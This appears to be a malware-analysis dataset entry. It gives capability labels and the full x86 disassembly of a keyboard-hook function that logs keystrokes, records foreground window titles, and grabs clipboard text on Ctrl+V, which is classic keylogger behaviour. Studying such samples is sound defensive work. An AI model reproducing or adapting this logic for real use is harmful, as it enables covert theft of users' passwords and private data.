Function at 0x401820
Capabilities:
Get graphical window text
Log keystrokes via polling
Open clipboard
Read clipboard data

Disassembly:
push ebp
lea ebp, [esp - 0x5c]
sub esp, 0x5c
push 0xffffffffffffffff
push 0x419df8
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x420074]
xor eax, ebp
mov dword [ebp + 0x58], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 0x64]
mov eax, dword [ebp + 0x6c]
mov dword [ebp], eax
mov dword [ebp - 4], 0
test esi, esi
jge 0x40187c
mov ecx, dword [0x42270c]
push eax
mov eax, dword [ebp + 0x68]
push eax
push esi
push ecx
call dword [sym.imp.USER32.dll_CallNextHookEx]
test esi, esi
jne 0x401e2a
mov eax, dword [ebp + 0x68]
cmp eax, 0x104
je 0x401897
cmp eax, 0x100
jne 0x401e2a
mov byte [0x422d6d], 0
mov byte [0x422d6e], 0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
xor ebx, ebx
mov dword [0x422708], eax
cmp eax, ebx
je 0x4018c7
push 0x21c
push 0x422930
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov eax, dword [ebp]
mov edx, dword [eax + 4]
mov edi, dword [eax]
mov ecx, dword [eax + 8]
mov dword [ebp - 0x20], edx
mov edx, dword [eax + 0xc]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], eax
cmp edi, 0xa0
je 0x4018fc
cmp edi, 0xa1
je 0x4018fc
cmp edi, 0x10
jne 0x401903
mov byte [0x422d6d], 1
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
call esi
mov ecx, 0x8000
test cx, ax
je 0x40191e
mov byte [0x422d6d], 1
cmp edi, 0x11
je 0x401933
cmp edi, 0xa2
je 0x401933
cmp edi, 0xa3
jne 0x40193a
mov byte [0x422d6e], 1
push 0x11
call esi
mov edx, 0x8000
test dx, ax
je 0x401951
mov byte [0x422d6e], 1
jmp 0x40195e
cmp byte [0x422d6e], 1
jne 0x401a78
cmp edi, 0x56
jne 0x401a78
mov eax, str.000086
lea ecx, [ebp + 4]
mov byte [0x422d6e], bl
mov dword [ebp - 0x24], ebx
call fcn.00402d60
lea eax, [ebp + 4]
push eax
mov byte [ebp - 4], 1
call fcn.004034c0
mov byte [ebp - 4], 0
cmp dword [ebp + 0x1c], 8
jb 0x4019a0
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404397
add esp, 4
mov eax, dword [0x422708]
xor edx, edx
push eax
mov dword [ebp + 0x1c], 7
mov dword [ebp + 0x18], ebx
mov word [ebp + 8], dx
mov edi, 0x41d670
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x4019e9
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
cmp esi, ebx
je 0x4019e3
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov eax, edi
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4019f0
sub eax, edx
sar eax, 1
cmp eax, ebx
jle 0x401ad4
mov eax, str.999999
lea ecx, [ebp + 4]
call fcn.00402d60
lea ecx, [ebp + 4]
push ecx
mov byte [ebp - 4], 2
call fcn.004034c0
lea esi, [ebp + 4]
mov byte [ebp - 4], 0
call fcn.00402dd0
mov eax, edi
lea ecx, [ebp + 4]
call fcn.00402d60
lea edx, [ebp + 4]
push edx
mov byte [ebp - 4], 3
call fcn.004034c0
lea esi, [ebp + 4]
mov byte [ebp - 4], 0
call fcn.00402dd0
mov eax, str.999999
lea ecx, [ebp - 0x44]
call fcn.00402d60
lea eax, [ebp - 0x44]
push eax
mov byte [ebp - 4], 4
call fcn.004034c0
lea esi, [ebp - 0x44]
mov byte [ebp - 4], 0
call fcn.00402dd0
jmp 0x401ad4
cmp edi, 0x14
jne 0x401a8e
cmp byte [0x422d6c], bl
sete cl
mov byte [0x422d6c], cl
jmp 0x401ad4
lea edx, [edi - 0x41]
cmp edx, 0x19
ja 0x401ad4
push 0x14
call esi
test ax, ax
setne al
mov byte [0x422d6c], al
cmp al, 1
jne 0x401ab6
mov al, byte [0x422d6d]
test al, al
je 0x401ad4
cmp al, 1
jmp 0x401ac9
test al, al
jne 0x401ad4
cmp byte [0x422d6d], 1
je 0x401ad4
cmp byte [0x422d6d], bl
jne 0x401ad4
add edi, 0xc0
mov dword [ebp - 0x24], edi
mov ecx, 0x422b50
mov eax, 0x422930
mov edi, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x401b06
cmp dx, bx
je 0x401b02
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x401b06
add eax, 4
add ecx, 4
cmp dx, bx
jne 0x401ae0
xor eax, eax
jmp 0x401b0b
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x401c63
mov eax, 0x422930
lea edx, [eax + 2]
jmp 0x401b20
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401b20
sub eax, edx
sar eax, 1
je 0x401c63
mov ecx, 0x422930
mov edx, 0x422b50
nop
movzx eax, word [ecx]
mov word [edx], ax
add ecx, 2
add edx, 2
cmp ax, bx
jne 0x401b40
xor eax, eax
mov word [ebp + 8], ax
mov ebx, 6
xor edi, edi
push ebx
mov eax, str.888888
lea esi, [ebp + 4]
mov dword [ebp + 0x1c], 7
mov dword [ebp + 0x18], edi
call fcn.00403840
mov ecx, esi
push ecx
mov byte [ebp - 4], 5
call fcn.004034c0
mov byte [ebp - 4], 0
cmp dword [ebp + 0x1c], 8
jb 0x401b98
mov edx, dword [ebp + 8]
push edx
call fcn.00404397
add esp, 4
xor eax, eax
mov word [ebp + 8], ax
mov eax, 0x422930
mov dword [ebp + 0x1c], 7
mov dword [ebp + 0x18], edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, di
jne 0x401bb0
sub eax, edx
sar eax, 1
push eax
mov eax, 0x422930
lea esi, [ebp + 4]
call fcn.00403840
mov ecx, esi
push ecx
mov byte [ebp - 4], bl
call fcn.004034c0
mov byte [ebp - 4], 0
cmp dword [ebp + 0x1c], 8
jb 0x401bee
mov edx, dword [ebp + 8]
push edx
call fcn.00404397
add esp, 4
xor eax, eax
mov word [ebp + 8], ax
push ebx
mov eax, str.888888
lea esi, [ebp + 4]
mov dword [ebp + 0x1c], 7
mov dword [ebp + 0x18], edi
call fcn.00403840
mov ecx, esi
push ecx
mov byte [ebp - 4], 7
call fcn.004034c0
mov byte [ebp - 4], 0
cmp dword [ebp + 0x1c], 8
jb 0x401c2e
mov edx, dword [ebp + 8]
push edx
call fcn.00404397
add esp, 4
xor eax, eax
mov dword [ebp + 0x1c], 7
mov dword [ebp + 0x18], edi
mov word [ebp + 8], ax
mov ecx, 0x41d694
mov edx, 0x422930
jmp 0x401c50
movzx eax, word [ecx]
mov word [edx], ax
add ecx, 2
add edx, 2
cmp ax, di
jne 0x401c50
jmp 0x401c6a
mov ebx, 6
xor edi, edi
cmp dword [ebp - 0x24], edi
je 0x401e2a
mov eax, dword [ebp - 0x24]
cmp eax, 0x30
jb 0x401c80
cmp eax, 0x39
jbe 0x401c9d
cmp eax, 0xba
jb 0x401c8e
cmp eax, 0xc0
jbe 0x401c9d
lea ecx, [eax - 0xdb]
cmp ecx, 3
ja 0x401d48
cmp byte [0x422d6d], 1
jne 0x401d48
xor edx, edx
mov dword [ebp + 0x54], 7
mov dword [ebp + 0x50], 0
mov word [ebp + 0x40], dx
mov byte [ebp - 4], 8
mov ecx, 0xa0
xor esi, esi
lea esp, [esp]
test ecx, ecx
je 0x401ce3
mov eax, 0xcccccccd
mul ecx
shr edx, 3
mov ecx, edx
inc esi
jmp 0x401cd0
cmp esi, ebx
lea ecx, [ebp + 0x3c]
jge 0x401cf9
push 1
mov eax, 0x41d698
call fcn.00403110
inc esi
jmp 0x401ce3
push 3
mov eax, 0x41d69c
call fcn.00403110
cmp dword [ebp + 0x50], ebx
jne 0x401d13
lea eax, [ebp + 0x3c]
push eax
call fcn.004034c0
lea edi, [ebp + 0x3c]
call fcn.00402e00
mov byte [ebp - 4], 0
cmp dword [ebp + 0x54], 8
jb 0x401d31
mov ecx, dword [ebp + 0x40]
push ecx
call fcn.00404397
add esp, 4
mov eax, dword [ebp - 0x24]
xor edx, edx
mov dword [ebp + 0x54], 7
mov dword [ebp + 0x50], 0
mov word [ebp + 0x40], dx
cmp eax, 0x10
je 0x401e2a
cmp dword [ebp - 0x24], 0xa0
je 0x401e2a
cmp dword [ebp - 0x24], 0xa1
je 0x401e2a
xor esi, esi
xor eax, eax
mov dword [ebp + 0x38], 7
mov dword [ebp + 0x34], esi
mov word [ebp + 0x24], ax
mov byte [ebp - 4], 9
mov edi, dword [ebp - 0x24]
mov ecx, edi
test ecx, ecx
je 0x401da0
mov eax, 0xcccccccd
mul ecx
shr edx, 3
mov ecx, edx
inc esi
jmp 0x401d86
cmp esi, ebx
jge 0x401db6
push 1
mov eax, 0x41d698
lea ecx, [ebp + 0x20]
call fcn.00403110
inc esi
jmp 0x401da0
push edi
push 0x41d6a4
mov edx, 0x422710
call fcn.00404120
mov eax, 0x422710
add esp, 8
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401dd1
sub eax, edx
sar eax, 1
push eax
mov eax, 0x422710
lea ecx, [ebp + 0x20]
call fcn.00403110
cmp dword [ebp + 0x34], ebx
jne 0x401dfc
lea ecx, [ebp + 0x20]
push ecx
call fcn.004034c0
lea edi, [ebp + 0x20]
call fcn.00402e00
cmp dword [ebp + 0x38], 8
jb 0x401e16
mov edx, dword [ebp + 0x24]
push edx
call fcn.00404397
add esp, 4
xor eax, eax
mov dword [ebp + 0x38], 7
mov dword [ebp + 0x34], 0
mov word [ebp + 0x24], ax
mov ecx, dword [ebp]
mov edx, dword [ebp + 0x68]
mov eax, dword [ebp + 0x64]
push ecx
mov ecx, dword [0x42270c]
push edx
push eax
push ecx
call dword [sym.imp.USER32.dll_CallNextHookEx]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x58]
xor ecx, ebp
call fcn.004041f9
add ebp, 0x5c
mov esp, ebp
pop ebp
ret 0xc